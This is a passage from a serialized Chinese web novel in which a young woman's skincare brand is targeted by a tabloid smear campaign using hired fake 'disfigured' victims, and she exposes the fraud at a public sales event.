“而民用产品,则可以在军用配方的基础上,进行微调,降低部分强力药性,增加保湿、舒缓等日常护肤成分,作为高端护肤品,推向市场。” “军方特供的背景,将是民用产品最强的信任背书。而民用市场获得的巨大利润,又可以反过来,支持军用产品的研发和免费供给。这是一个完美的、可以实现军、民、商三赢的闭环!” 陈慕白三言两语,就为“凝悦”这个品牌,构建起了一个宏大而又切实可行的商业帝国蓝图。 白凝凝和秦悦在一旁听得目瞪口呆。 她们一个只想治病救人,一个只想开个赚钱的服装店,谁能想到,一瓶小小的药膏,竟然被这两个男人,玩出了“商业帝国”的花样? “好。”傅清寒当机立断,开始进行任务分工,那语气,就像在部署一场战役,“报告我来打,军方这条线,我负责搞定。” 陈慕白笑着点头,推了推眼镜,补充道:“民用市场的渠道、推广、以及所有政府部门的对接,我来负责。保证‘凝悦’一路绿灯。” 说完,他的目光,落在了还处于震惊中的秦悦身上。 “秦悦,”陈慕白的声音温和而又不容置喙,“你的‘悦己’服装店,将成为我们‘凝悦’品牌最高端的旗舰店和形象窗口。你负责所有的市场营销、品牌包装和销售团队的组建。简单来说,你就是我们未来的销售总监。” “啊?我?”秦悦指着自己的鼻子,还有点懵,但一听到“销售总监”这个词,她那双精明的眼睛瞬间就亮了!“这是给我封官了诶?” 然后,陈慕白和傅清寒的目光,同时落在了那个自始至终,都只是想做个安静研发的白凝凝身上。 陈慕白微笑着说:“陆泽远,将担任我们未来的首席技术官,负责将你的配方完美地实现和量产。” 傅清寒则用他那低沉的、不容拒绝的嗓音,接上了最后一句:“而你,凝凝……” 他看着自己那还有些茫然的小妻子,嘴角勾起一抹腹黑的、得逞的笑。 “你什么都不用管。” “你只需要继续做你的研发,然后,安安心心地,当好我们‘凝悦集团’的——董事长兼首席科学家。” “啊?!” 白凝凝彻底傻眼了。 她看着眼前这两个男人,一个已经开始打电话布局,一个正用“你只需要享受胜利果实”的眼神宠溺地看着她。 她只是想研发一款祛疤膏而已啊! 怎么一转眼,自己就莫名其妙地,被安排成了“集团董事长”? 看着眼前这几个各司其职、瞬间进入战斗状态的“下属”们——CEO陈慕白、后勤保障部长傅清寒、营销总监秦悦、首席技术官陆泽远…… 白凝凝,这位新鲜出炉的“董事长”,第一次,感觉自己像个被架空了的吉祥物。 她一脸茫然地,被安排得明明白白。 —— 在傅清寒和陈慕白两位大佬的亲自布局下,“凝悦”品牌正式开启了“军民并行”的战略。 首先,由陈慕白出面,利用其深厚的人脉关系,以雷霆之势,为“凝悦舒缓修复膏”拿到了所有的生产许可和销售批文。紧接着,在陆泽远的严格监督下,第一批正式的民用产品,在陆家药厂的无菌车间里,顺利下线。 一切准备就绪,轮到“营销总监”秦悦登场了。 她看着仓库里堆积如山的产品,却没有选择直接铺货销售,而是狡黠一笑,制定了一个更刁钻的营销方案。 她精心挑选了一批产品,换上了极其简约的“试用装”包装,然后亲自将这些“内部好东西”,赠送给了“悦己”服装店里,那群消费能力最强、也最爱传播八卦的顶级VIP客户。 “王太太,这是我们店新到的一点‘内部好东西’,您皮肤敏感,换季容易泛红,拿回去试试看。” “李小姐,您上次不是说您女儿长痘痘烦心吗?这个您让她用用,有惊喜哦。” 起初,那些见惯了法国货、美国货的名媛贵妇们,对这个包装朴素、闻起来还有点“中药味”的国货小药膏,还有些不屑一顾。很多人拿回去,也就是随手扔在了梳妆台的角落里。 可当第一个人抱着试试看的心态,用它治好了自己困扰多年、每到换季就发作的顽固性过敏后,一石激起千层浪! 这个消息,像长了翅膀一样,在她们那个极度私密又极度爱攀比的小圈子里,瞬间传开了。 紧接着,第二个、第三个……各种堪称“奇迹”的反馈,开始疯狂地流传。 “天呐,我女儿脸上那青春痘,抹了三天,真的平下去了!痘印都淡了!” “我上次去海边晒伤脱皮,用这个修复膏厚敷了一晚,第二天起来红肿全消了!” “太神奇了!我婆婆那几十年的干性湿疹,竟然都被它治好了!” 一时间,“凝悦修复膏”凭借其肉眼可见的惊人效果,和“陈家小姐亲研”、“军区特供背景”这些神秘光环的加持,迅速在京市的名媛圈子里一传十、十传百,口碑爆棚! 但是想回购就不是那么容易了。 悦己”服装店的电话都快被打爆了。所有VIP客户,都在疯狂地打听,如何才能“复购”那款神奇的小药膏。 秦悦坐在自己装修一新的办公室里,听着助理的汇报,嘴角勾起一抹狡黠的、得意的笑。 鱼儿,上钩了。 那就要吊她们一会儿了。 第60章 憋屈的陈瑶 她亲自接过了几个最重要的贵妇打来的电话,用一种既亲切又带着点“无奈”的语气,开始了她的表演。 “哎呀,王太太,您说那个修复膏啊?真是不好意思,我手里那些也只是‘试用装’啦,是凝凝看我面子,从她的实验室里匀出来给我的一点点样品。我自己都快用完了呢!” 电话那头的王太太急切地问:“那秦小姐,你能不能再帮我们问问白老板?加多少钱都行啊!” “王太太,您看您这话说的。”秦悦的语气恰到好处地流露出一丝为难,“不是钱的事儿。您也知道,凝凝她现在主要精力都在军方的项目上,我们民用这边,产品还没正式上市呢!我也不好总去打扰她呀。” 军方项目,她三言两语,就将“凝悦”的逼格和稀缺性,再次拔高了一个档次。 吊足了所有人的胃口后,秦悦才话锋一转,仿佛是“不经意间”透露了一个“内部消息”。 “不过嘛……您也别急。”她压低了声音,用一种分享秘密的语气说道,“我听我们家凝凝和陆家那位提了一嘴,好像……下周,他们会在王府井百货开第一家‘凝悦’专柜。另外,陆家药厂旗下的所有连锁药房,好像也会同步上架。到时候,大家就各凭本事去抢吧!我可跟您说,第一批货源肯定紧张,您可得提前去排队哦!” 一句话,就将所有人的购买欲望和期待值,全都精准地引向了即将开业的正式销售渠道! 挂了电话,秦悦得意地打了个响指。她知道,经过这一轮的口碑发酵和饥渴营销,“凝悦”专柜开业的那一天,必将引爆全城! —— 但是另一边,陈瑶就非常不爽,她眼看着哥哥忙里忙外,再加上陆泽远那天给自己“甩脸子”。她不能干坐着,看着白凝凝那个女人如此得意。 为此她特意组织了一场名媛下午茶,准备联合大家一起抵制白凝凝。 环境优雅的西餐厅里,陈瑶坐在主位上,端着一副“为民除害”的姿态,气冲冲地说道:“你们可千万别买那个白凝凝的东西,她就是个水性杨花的狐狸精,免得助长了她的威风!” “她的东西有什么好的?无非就是噱头,别用用你们再烂脸了,到时候哭都没地方哭。” 她以为,这番话会引起小姐妹们的同仇敌忾。 然而,她的话音刚落,坐在她旁边的一个姓张的小姐,就激动地拉了拉她的手,满眼放光地小声问道:“瑶瑶!先别说这个了!我听说你跟那个白老板,不是你们陈家的养女嘛?那就是你‘姐妹’了?你能不能……帮我们弄一瓶‘凝悦’的舒缓修复膏啊?现在外面都炒到天价了,还买不到!” “啊?”陈瑶都被她的话整懵了,可似乎张小姐的一句话打开了大家的新思路,纷纷开言: “瑶瑶,我可都听我爸说了,‘凝悦’这个牌子,所有的批文和渠道,都是你哥陈慕白亲自去谈的呢!你肯定有门路吧?” 另一个小姐妹也用手肘碰了碰她,半开玩笑半认真地说道:“就是啊瑶瑶,你可别藏着掖着,自己想‘独美’啊!有好东西要大家一起分享嘛!我用我最新款的香奈儿包跟你换,行不行?” “还有我!我婆婆点名要的!你要是能帮我弄到,下个月的马会,我家的那匹阿拉伯马,随你骑!” 一时间,原本的“控诉大会”,瞬间变成了大型“求购+资源交换现场”。 “陈瑶你说话啊,就算弄不到也给大家表个态啊?” 陈瑶被噎的得一阵青一阵白。 她引以为傲的“陈家小姐”身份,此刻非但没能成为她攻击白凝凝的武器,反而成了她被众人“围攻”求情的理由! 她想发作,却张张嘴,发现说什么都像是欲盖弥彰,都像是自己有好东西却舍不得拿出来给大家用一样。 她快憋屈死了! --- 而楚小小自从听从了林晚晴的建议在那件事里脱身后,她记得林晚晴的话,每天透过窗户,看着傅清寒和白凝凝出双入对,蜜里调油;她每天从周玉芬的酸言酸语中,听着“凝悦”品牌如何声名鹊起。 这一切,都像一把把尖刀,反复地切割着她那颗早已被嫉妒和怨恨填满的心。 她将这一切,都添油加醋地,通过一个秘密的公用电话,一五一十地汇报给了林晚晴。 “你说什么?军区特供?口碑爆棚?”电话那头,林晚晴的声音,第一次出现了失态的尖锐,“一个乡下丫头,怎么可能在这么短的时间内,就做成这么大的事?!” “千真万确!”楚小小的声音里带着一丝幸灾乐祸的快意,“现在整个京市的名媛圈都快为她的药膏疯了! 听说陈瑶都压不住她!晚晴姐,你再不出手,那个女人的翅膀,可就真的要硬了!” 电话那头,陷入了长久的沉默。 林晚晴握着电话,精心描画的指甲几乎要将话筒捏碎。 她输了,在舞会上输得一败涂地。她派去的地痞流氓,更是连白凝凝的一根汗毛都没碰到。她以为白凝凝只是个有点小聪明的乡下丫头,只要傅清寒的“宠爱”消失,就会不堪一击。 可她现在才发现,自己大错特错了。 这个女人,她不仅有傅清寒的宠爱,有陈家的背景,她自己,更是一座深不可测的金矿!她的医术,她的头脑,才是她最可怕的武器! 不行,绝不能让她这么顺风顺顺地发展下去! 林晚晴的眼中,闪过一丝冰冷的算计。她对着电话,用一种看似提点、实则施压的语气,缓缓说道: “楚小小,你难道还不明白吗?” “白凝凝越是成功,她的光环就越是耀眼。而她越是耀眼,你那个所谓的‘傅家长孙之母’的身份,就越是显得可笑和不值一提。” “你想想看,一边是能为家族带来巨大荣誉和财富的功臣,一边是只会给家族带来丑闻和麻烦的累赘。将来,傅老爷子和傅清寒的天平,会向谁倾斜?” 第61章 炮灰的马前卒 林晚晴的每一句话,都像一根针,狠狠地扎在楚小小敏感的神经上! 她明白林晚晴的话都是真的。 “晚晴姐……那……那我该怎么办?”楚小小声音里带上了一丝真实的恐慌。 “怎么办?”林晚晴冷笑一声,语气里充满了不容置喙的命令意味,“我不想看到‘凝悦’的专柜,能顺顺利利地开业。我不想再听到任何人,吹捧那个女人的‘神药’。” “我不管你用什么方法,总之,在寿宴之前,我必须看到她的身败名裂。否则……你的下场不会比我更好。我好歹是林家的女儿,而你……唯一的指望就是傅向阳。但之前你给他下药的事……” 楚小小手心却已经沁出了一层冷汗,不敢再听下去,嘴上连忙恭顺地应承下来,“好……好,晚晴姐,我知道了。我不会让你失望的。” 挂了电话,楚小小的眼中满是阴霾。 去闹事? 开什么玩笑!林晚晴这是想让自己当她的“炮灰”,去和傅清寒、陈慕白那几个煞神正面硬刚!自己要是真的蠢到自己出面,万一出点什么事恐怕连怎么死的都不知道! 林晚晴拿自己作筏子,她也不会自己傻乎乎地往前冲,她需要一个“马前卒”,一个既能完美执行计划,又能在事发后,心甘情愿替她背锅的棋子。 她的目光,落在了那个正端着一碗鸡汤,准备进她房间的婆婆——周玉芬身上。 就是她了。 看着周玉芬端着鸡汤进来,楚小小立刻开始了自己的表演。 她没有去接那碗汤,反而捂着脸,发出了低低的、压抑的啜泣声。 “怎么了这是?谁又给你气受了?”周玉芬立刻紧张起来。 楚小小抬起那张泪痕宛然的脸,声音里充满了“委屈”和“不甘”:“妈,您说……自从向阳哥出事后,他在大院里,是不是更抬不起头了?” 这句话,瞬间就戳中了周玉芬的痛处。 “现在外面的人,都在夸白凝凝是‘神医’,是‘活菩萨’,她的‘凝悦’马上就要开专柜,风头一时无两!可她越是风光,别人就越会拿向阳哥跟清寒比!她这就是故意在打我们大房的脸,要把向阳哥一辈子都踩在脚底下啊!” “而且妈,您想啊,”楚小小的声音压得更低,充满了蛊惑,“现在白凝凝这么能赚钱,翅膀硬了,以后她肯定会忽悠着清寒跟我们分家的!到时候,他们二房吃香的喝辣的,我们大房……可就真的一点好处都捞不到了!” “没面子!”“被踩在脚下!”“分家捞不到好处!” 像三巴掌狠狠地扇在周玉芬的脸上! 自从儿子出了事,她最怕的,就是这些! 顿时她的脸瞬间涨得通红,胸口剧烈起伏,浑浊的眼睛里迸发出了怨毒的光! 楚小小看着她的脸色,继续添油加醋,疯狂“拱火”,开始抚摸着自己的小腹,眼泪像断了线的珠子一样滑落,声音里充满了绝望: “这可怎么办啊……妈!我可怜的孩子……他还没出生,就要被人这样压着一头!将来他长大了,别人都会指着他的脊梁骨说,‘你看,他爸是个废物,他小叔和小婶婶才是人中龙凤’!这……这让我肚子里的孩子,以后还怎么做人啊!” “孩子抬不起头!”“被压着一辈子!” 最后这一把火更是把周玉芬的理智烧了个干净! “那个小贱人!她休想!”周玉芬一下子站起身,一把拉过楚小小的手,大包大揽地说道:“小小,你别哭了!哭坏了身子,伤了我的宝贝金孙怎么办!” “这件事,你别管了!看妈的!” 周玉芬在房间里来回踱步,脑子飞速运转。不能明着来,傅清寒那个煞神不好惹。那就……来暗的!让她身败名裂,让她从“神医”变成“庸医”,害人不浅,人人喊打的庸医! 她眼睛一亮,立刻想到了自己那个正在监狱里踩缝纫机的亲弟弟,周玉杰的独生子,周康! 她凑到楚小小耳边,将自己刚刚“想出来”的“妙计”说了一遍,语气里充满了得意:“你瞧好吧!我这就去找我侄子周康,他专门认识些三教九流的人。我们找人化个‘毁容’的妆,再找家小报社匿名一登!神不知鬼不觉,我看她白凝凝还怎么翻身!” 看着周玉芬那副自以为聪明、大包大揽的蠢样,楚小小的眼中,飞快地闪过一丝计划得逞的、轻蔑的冷笑,但她很快又换上了那副崇拜又依赖的表情:“妈,还是您有办法!您可真是我们家的主心骨!” 周玉芬提着一包好烟好酒,又塞了两百块钱,在一个乌烟瘴气的小台球厅里,找到了这个吊儿郎当的亲侄子周康。 周康从小游手好闲,自从周玉杰因为诈骗被傅清寒亲手送进去之后,没了父亲当靠山,只能在社会上当个小混混,日子过得朝不保夕,他对傅清寒和白凝凝恨之入骨。正愁没有报复的机会! “周康啊,想不想给你爸报仇?”周玉芬一开口,就直奔主题。 周康一听,眼睛都亮了,他扔下台球杆,凑了过来:“姑妈,您有办法?” “当然!”周玉芬压低了声音,将楚小小的计划添油加醋地说了一遍,“你帮我找几个靠得住的‘演员’,女的,脸皮要厚,要会哭会闹。再找个会画画的,给她们脸上弄点‘伤’,越吓人越好!事成之后,我再给你五百块!让你爸在里面,也能过得舒坦点!” “报仇”加上“钱”,双重诱惑,让周康想都没想就答应了! “姑妈您放心!这事我熟啊!”周康拍着胸脯保证,“不就是找几个‘托儿’嘛!我保证给您找几个最能哭、最能闹的!” 他很快就找来了几个在火车站靠“碰瓷”为生的惯犯,又请了个电影学院学化妆的学生,用明胶和颜料,在她们脸上“制作”出了几张极其逼真、惨不忍睹的“毁容脸”。 拍完照片,周康又动用了他的“社会关系”,找到了京市几家发行量不大、但专门靠刊登小道消息和耸人听闻的社会新闻来博眼球的报社。 他将照片和一篇声泪俱下的“控诉信”,连同几百块钱的“封口费”,一并交到了那些报社编辑的手里。 那些编辑一看有钱拿,又有这么劲爆的“内幕”,眼睛都亮了,当即拍板,第二天就见报! 第62章 泼脏水的艺术 楚小小得意非常,觉得这一下子就算不脱白凝凝一层皮,起码也给她破了脏水,让她还敢在自己面前那么得意? 楚小小带了一点“邀功”的想法,给林晚晴打去了电话,将周玉芬那套找人闹事、登报泼脏水的“妙计”和盘托出。 电话那头,林晚晴听完,沉默了片刻,才发出一声夹杂着轻蔑的冷笑。 “做得不错。”她先是肯定了一句,语气里却听不出多少赞赏,“找人闹事,泼脏水,虽然手段低劣了点,但对付一个刚开业的品牌,也算有效。” 楚小小还没来得及高兴,林晚晴的话锋就猛地一转,变得冰冷而锐利: “但是,楚小小,你太小看白凝凝了。也太小看她背后的傅清寒了。” “你以为,凭几个小混混,几家不入流的小报社,就能扳倒他们?傅清寒只需要给公安系统打个招呼,陈慕白只需要给宣传部门递个话,就能让那些人和报社,从京市彻底消失。到时候,不仅伤不到白凝凝分毫,反而会把你自己这个主谋给暴露出来。你信不信?” 楚小小手心瞬间沁出了一层冷汗。她不得不承认,林晚晴说得对。 “那……那晚晴姐,我们该怎么办?”她声音里带上了一丝真实的恐慌。 “所以,我才说你手段低劣。”林晚晴的语气里,充满了不屑和一种智商上的优越感,“对付他们这种人,不能只用阴谋,更要用‘阳谋’。要学会利用人们最敏感的那根神经。” “你的计划,我帮你补上最关键的要素。” 林晚晴的声音低沉,蛊惑,如同像魔鬼的低语: “你让那个周康,告诉那些小报社,在他们的‘控诉信’结尾,必须加上这样一段话——” 她缓缓地、一字一句地念道: “……据本报记者多方了解,‘凝悦’品牌背景深厚,其创始人不仅是傅家二房的儿媳,更是陈老总亲认的干孙女。有如此强大的后台保驾护航,各大主流媒体对此事自然是讳莫如深,不敢报道。唯有我们这样的小报,才敢于冲破权力的阻碍,为无助的消费者发声,揭露事情的真相!” “最后,再用最大的字体,给我打上一个质问的标题——人间自有公道在,我们不禁要问,这究竟是‘神药’,还是又一个被权力包装出来的‘谎言’?” 楚小小听得目瞪口呆:“这……这不是把他们的后台都点出来了吗?” 林晚晴低低笑出声,“是啊,”她语调轻柔,说出的话却是诛心之言,“我就是要点出他们的后台!我就是要告诉所有人,白凝凝不是一个人,她背后站着傅家和陈家!这样一来,事情的性质就变了!” 她耐着性子,如同一个高段位的棋手,在教一个不入门的菜鸟: “现在是什么时候?改革开放刚刚开始,老百姓们最痛恨的是什么?是‘特权’!是‘官僚’!是仗着家世背景,为自己家族牟取暴利的‘新权贵’!” “我就是要用这件事,把水搅浑!把一个简单的产品质量问题,上升到‘阶级对立’和‘路线问题’的层面!把白凝凝和她的‘凝悦’,打成‘利用改革开放政策,为权贵家族敛财’的典型!” “傅清寒和陈慕白,他们可以轻易地让一个小报社闭嘴,但他们敢轻易地,去堵住所有‘挑战特权’的悠悠众口吗?他们不敢!他们越是动用权力去压制,就越是坐实了‘仗势欺人’的罪名!到时候,‘凝悦’就会被打上‘官商产物’的烙印,人人喊打!白凝凝会成为人民的敌人!” 楚小小听得后背一阵阵发凉。 这比任何泼脏水,都更致命! 这个女人太可怕了,自己想的仅仅是怎么给白凝凝泼脏水,但林晚晴却要把这件事发酵成政治污点。 太狠了!也太高明了! 届时,不只是白凝凝、傅家就连陈家,也都会被打入万劫不复的深渊! “明……明白了!晚晴姐!我马上就去办!”楚小小再也不敢有半点邀功的心思,只剩下满心的敬畏和恐惧。 挂了电话,她立刻按照林晚晴的指示,将那段足以将人打入政治深渊的“诛心之言”,传达了下去。 —— 傅清寒最近很忙。 后勤部这个“烂摊子”比他想象中还要复杂,为了彻底摸清南方几个军需供应商的底细,他带着一支精干的调查小组,前往广东出差,预计要一周后才能回来。 他前脚刚走,一场酝酿已久的、针对白凝凝的舆论风暴,后脚就在京市,轰然引爆! 这天一早,京市街头的几个报刊亭,悄然上架了几份名不见经传的小报。它们的头版头条,用最刺眼、最耸动的黑体字,刊登着同一篇报道: 《神药还是毒药?“凝悦”修复膏致多名女性毁容!》 报道下方,配着几张触目惊心的、打了马赛克的“毁容”照片。照片上的女人,脸部皮肤溃烂、流脓,看起来惨不忍睹。 而报道的正文,则是一封声泪俱下的“联名控诉信”。信中,几位所谓的“受害者”,控诉她们因为使用了“凝悦”的试用装,导致了严重的皮肤过敏和溃烂,如今不仅容貌尽毁,更是身心都遭受了巨大的创伤。 如果仅仅是这样,那还只是一篇普通的商业纠纷报道。 然而,这篇报道最恶毒、最诛心的,是它结尾的那一段话—— “……凝悦’品牌背景深厚,……傅家二房的儿媳,……陈老总亲认的干孙女。……讳莫如深,不敢报道。……才敢于冲破权力的阻碍,……,揭露事情的真相!” “人间自有公道在……这究竟是‘神药’,还是……被权力包装出来的‘谎言’?” 这篇文章,像一颗投入平静湖面的深水炸弹,瞬间在京市引起了轩然大波! “特权”、“后台”、“权贵”、“谎言”……每一个词,都精准地戳在了这个时代最敏感的神经上! 第63章 引蛇出洞 一时间,流言四起。大院的家属们议论纷纷,街头巷尾的市民们义愤填膺,许多原本对“凝悦”充满期待的人,此刻都转为了愤怒和质疑。 “我就说嘛!一个乡下丫头,怎么可能搞出什么神药!原来是靠后台!” “又是官商勾结那一套!拿我们老百姓当猴耍呢!” “傅家?陈家?哼,官官相护,天下乌鸦一般黑!” 而那些用过“凝悦”产品、正惊叹于其效果的名媛贵妇们,则陷入了半信半疑的恐慌之中。然而沉浸在卖货中的秦悦还一无所知。 “哎呀,王太太,我就说了有惊喜吧?您女儿的痘痘好了就行!……什么?还想要几瓶?哎哟,真不巧,我手里这些样品也都送完了……” 她脸上的笑意还来不及褪去,电话铃声又急促地响了起来。 “喂,李太太,您也是来问修复膏的吧?” 然而,电话那头的声音,却不再是之前的央求和恭维,而是一种带着恐慌和质疑的尖锐质问: “秦老板!你先别说这个了!你快去看看今天的《京城杂谈》报!上面说你们那个‘凝悦’是毒药!用了会毁容!这到底是怎么回事啊?我的天,我可刚给我女儿用了!要是出了问题,我跟你没完!” “什么?!”秦悦脸上的笑容瞬间凝固。 她还没来得及反应,另一个电话又打了进来。 “秦悦!你那个药膏到底有没有问题啊?!报纸上都登出来了!还说你们后台硬,压着消息不让报!你可别坑我们啊!” “秦小姐,我不管你们家有什么背景,如果我脸上的过敏复发了,我一定告到你们倾家荡产!” 一时间,店里的电话被打爆了!那些前两天还把她捧着的贵妇们,此刻一个个都从财神爷变成了催命的阎王,质疑、恐慌、威胁……各种声音,像潮水一样涌来。 秦悦手忙脚乱地挂了电话,立刻让助理把市面上那份小报买了回来。 当她看到那篇用词恶毒、极具煽动性的“控诉信”,以及那张触目惊心的“毁容”照片时,气得浑身发抖,一双美目几乎要喷出火来! “王八蛋!这群收了黑心钱的狗东西!敢这么污蔑我们凝凝!”她一巴掌拍在桌子上,抓起外套就要往外冲,“不行!我咽不下这口气!我现在就带人去砸了他们那破报社!” “站住!” 一个冷静而又带着威严的声音,从里间传来。 陈慕白端着一杯茶,慢悠悠地走了出来。他看了一眼桌上的报纸,镜片后的目光闪过一丝冷意,但脸上的表情,却依旧是那副云淡风轻的模样。 “砸报社?”他失笑地摇了摇头,“悦悦,你太小看你的对手了。你现在去砸,正好就坐实了我们‘仗势欺人’、‘压制舆论’的罪名。这正中对方下怀。” “这是一场‘阳谋’。”他冷静地分析道,“对方的目的,就是要把我们逼到‘以权压人’的死角里。我们越是愤怒,越是动用权力,就越是坐实了他们的指控。” 秦悦冷静下来,也想通了其中的关节,但还是气得直跺脚:“那怎么办?难道就任由他们这么泼脏水吗?” “别急。”陈慕白的目光,投向了那个从始至终,都只是安静地看着报纸,一言不发的白凝凝。 他走到她身边,轻声问道:“凝凝,这件事,你怎么看?” 白凝凝缓缓抬起头,那双清澈的眸子里,没有愤怒,没有慌乱,只有一副洞悉一切的平静。 “慕白哥,他们想要我们‘以权压人’,那我们就偏不如他们的意。” 她看着陈慕白和秦悦,说出了自己的计策: “他们说我们的产品有问题,想要真相,那我们就给他们一个‘真相’。他们不是想闹吗?那我们就搭好台子,让他们来闹,闹得越大越好,最好让全京市的人都来看着他们闹。” “慕白哥,悦悦,”她站起身,眼中闪烁着一种惊人的光芒,“我们,引蛇出洞。” 秦悦和陈慕白对视一眼,瞬间明白了她的意思。 当天下午,秦悦便以“凝悦”品牌负责人的名义,紧急召开了一场小型记者会。 面对那些闻风而动的小报记者,她没有愤怒,没有辩解,反而是一脸“诚恳”地宣布: “对于报纸上的指控,我们深感震惊和痛心。为了回应消费者的质疑,也为了让大家亲眼见证‘凝悦’产品的真实效果,我们决定——” 她顿了顿,抛出了一个重磅消息: “在本周日,我们将在王府井百货的‘凝悦’专柜,举办一场史无前例的大型产品展销会!届时,所有产品一律五折!” “另外,因为‘凝悦’受伤的女士们我们也会妥善处理,不会让一个信任我们的人失望。” 全场哗然! 不反驳?不澄清?反而要降价促销?! 妥善处理?难道是要用钱封别人的嘴? 这在所有人看来,都是一个心虚到极点的表现! 然而他们并不知道,凝凝的妥善处理是请军区医院的皮肤科专家帮忙,为现场的那些“毁容者”们免费治疗! 这个消息,很快就传到了周康和周玉芬的耳朵里。 “哈哈哈!她怕了!她肯定是怕了!”周玉芬在电话里,得意地对周康说,“打折这不就是心虚想花钱消灾吗!还妥善处理,她以为自己有几个臭钱就能为所欲为吗?周康到时候你让那些人好好敲敲她的竹杠!” 周康也阴笑着说:“姑妈您放心!这我可是专业的!另外我还打听到了,傅清寒那个煞神,现在在外地出差,促销会当天都赶不回来!这可是天赐良机!” “好!太好了!”周玉芬激动得声音都在颤抖,“周康,你听着!促销会那天,你带着人,给我往死里闹!把事情闹得越大越好!务必让那个小贱人,在大庭广众之上,众目睽睽之中,身败名裂!” “好嘞,姑妈您就瞧好吧!” 第64章 假的真不了 周末,王府井百货。 人山人海,摩肩接踵。 几乎半个京市的人,都被这场充满了争议和噱头的“促销会”吸引了过来。有抱着看热闹心态的市民,有闻风而来的各路记者,还有那些对“凝悦”半信半疑、想来一探究竟的潜在消费者。 在百货公司最显眼的一楼大厅中央,“凝悦”的专柜已经被临时改造成了一个半开放的活动舞台。 白凝凝和秦悦站在舞台中央。白凝凝穿着一身简单的白大褂,神情冷静而又专业;秦悦则是一身干练的职业套装,手持话筒,气场全开。 而在舞台的另一侧,则站着几位由李建国院长亲自指派的、军区总医院最权威的皮肤科专家,他们将作为本次活动的“第三方权威鉴定机构”。 “各位来宾,各位媒体朋友们,大家上午好!”秦悦用洪亮的声音,开始了今天的活动,“我知道,大家今天来,都是为了一个真相。我们‘凝悦’,到底是不是像某些报纸上说的那样,是‘毒药’?今天,我们就让事实来说话!” 她话音刚落,台下便响起一阵骚动。 只见周康带着那几个化着“毁容妆”的女人,在一群小混混的簇拥下,推开人群,哭天抢地地冲到了舞台前。 “庸医!骗子!还我脸来!” “大家快看啊!就是这个黑心商家!就是她们的‘神药’,把我们的脸害成了这个样子!” “赔钱!必须赔钱!赔我们的青春损失费!精神损失费!” 她们一边哭嚎,一边试图冲上舞台,撕扯白凝凝的衣服,场面一度极其混乱。 记者们的闪光灯,瞬间像疯了一样闪烁起来,记录下这戏剧性的一幕。 舞台上,白凝凝只是对着秦悦,轻轻地点了点头。 秦悦立刻拿起话筒,对着台下大声宣布:“大家稍安勿躁!大家的心情我们理解,我们‘凝悦’绝不会推卸任何责任!现在,就请这几位‘受害者’女士上台,让我们军区总医院的专家们,为她们进行一次免费的、公开的、权威的现场诊断!” 这话一出,那几个正撒泼打滚的女人,动作瞬间一僵! 什么?现场诊断?还要让军区医院的专家来? 她们脸上的伤都是画出来的,一诊断不就全露馅了吗?! “不!我们不诊断!”带头的那个女人立刻尖叫起来,“你们肯定跟医院都串通好了!我们不信你们!我们只要赔钱!” “对!赔钱!少说也得赔个万八千的!” “赔钱就行!别整那些虚头巴脑的!” 她们越是拒绝诊断,越是只要钱,台下那些明眼人就越是看出了不对劲。 “怎么回事啊?有病不看,光要钱?” “是啊,军区医院的专家免费给看,多好的事啊,她们怎么还不要?” 周康也察觉到了不妙,立刻在台下大声煽动:“大家别被她们骗了!她们就是想拖延时间!毁了容就是毁了容!赔钱是天经地义的!” 就在这僵持不下之际,白凝凝终于开口了。 她的声音不大,却通过话筒,清晰地传到了每一个人的耳朵里。 “这位大姐,你说你的脸,是用了我们的‘凝悦修复膏’才变成这样的,对吗?”她看着那个闹得最凶的女人,平静地问道。 “对!就是你们的破药膏!我就是用了你们的试用装!”那女人一口咬定,以为白凝凝要开始狡辩。 “试用装?”白凝凝的嘴角,勾起一抹冰冷的弧度,“那可真不巧了。” 她转身,对身旁的秦悦示意了一下。 秦悦立刻会意,拿起话筒,对着台下所有人朗声说道:“各位来宾,我想在这里,向大家澄清一个事实!” 她清了清嗓子,声音里充满了自信和一丝戏谑:“我们‘凝悦’品牌,自研发以来,从未生产和对外发放过任何所谓的‘试用装’!我们唯一一批,也是极其限量的‘内部品鉴样品’,只定向赠送给了我名下‘悦己’服装店的三十六位顶级VIP客户!” 她从随身的包里,拿出了一份打印精美的名单,高高举起,对着台下的记者和群众展示。 “这三十六位客户的名单,以及她们的联系方式,全都在这里!每一份样品的去向,我们都有详细的记录!大家可以随时核实,看一看,这里面,有没有台上这几位‘受害者’的名字!” “另外,”秦悦的目光,变得锐利起来,她看向那个带头闹事的女人,一字一句,清晰无比地质问,“我们赠送的每一份样品,都需要客户本人凭VIP金卡和身份证件签收。请问这位大姐,你是哪家府上的太太?你的VIP金卡,能拿出来让我们大家开开眼吗?” “轰——!” 全场哗然! 是啊!人家只送给了固定的三十六个顶级客户,都有名有姓,有据可查!你们这群一看就不像有钱人的“受害者”,是从哪里搞到的“试用装”? 带头的那个女人,脸色瞬间变得惨白!她没想到对方竟然把后路堵得这么死!她脑子飞速旋转,试图找一个借口,语无伦次地狡辩道: “我……我不是本人买的!是我……我花高价!对!我花高价从别人手里收来的!现在外面都炒到天价了,你们不知道吗?!” “哦?高价收来的?”白凝凝像是听到了天大的笑话,她一步步走到那个女人面前,居高临下地看着她,眼神锐利如刀。 她忽然伸出手,快如闪电地,在那女人的脸上,用力一抹! 那张原本惨不忍睹的“毁容脸”,在棉片的擦拭下,竟然开始……掉色了?! 红色的颜料,黄色的明胶,混杂在一起,糊了一脸,露出了下面那张完好无损、甚至因为保养得不错而显得有些油光的皮肤! “哗——!” 全场,彻底炸了! “假的!竟然是假的!” “我的天!这妆画得也太真了吧?!” “我就说嘛!‘凝悦’那么好用,怎么可能有问题!” “这群骗子!太可恶了!这是故意来讹人的吧!” 真相大白! 那几个闹事的女人,看着自己被戳穿的“画皮”,彻底傻眼了。周围的群众,也从刚才的义愤填膺,变成了对她们的指责和唾骂。 小报记者们的闪光灯,更是疯狂地对着她们那一张张滑稽的“阴阳脸”猛拍! 这下,她们成了全京市最大的笑话! “说!”白凝凝将那张沾满了颜料的棉片,甩在那个带头女人的脸上,声音冰冷如霜,“是谁指使你们来的?!” 第65章 背后的大鱼 “我……我不知道啊!我就是拿钱办事!”那女人被吓破了胆,语无伦次地狡辩着,“就是一个叫……叫周康的年轻人给的钱!说让我们来闹一闹,一天给五十块钱!别的我真不知道啊!” “周康?” 白凝凝的眼中闪过一丝了然的冷光。她知道,这条蛇,终于被自己从洞里引出来了。 她没有再逼问,只是对身旁的秦悦使了个眼色。秦悦立刻心领神会,对着话筒,用一种义愤填膺的语气,对全场宣布: 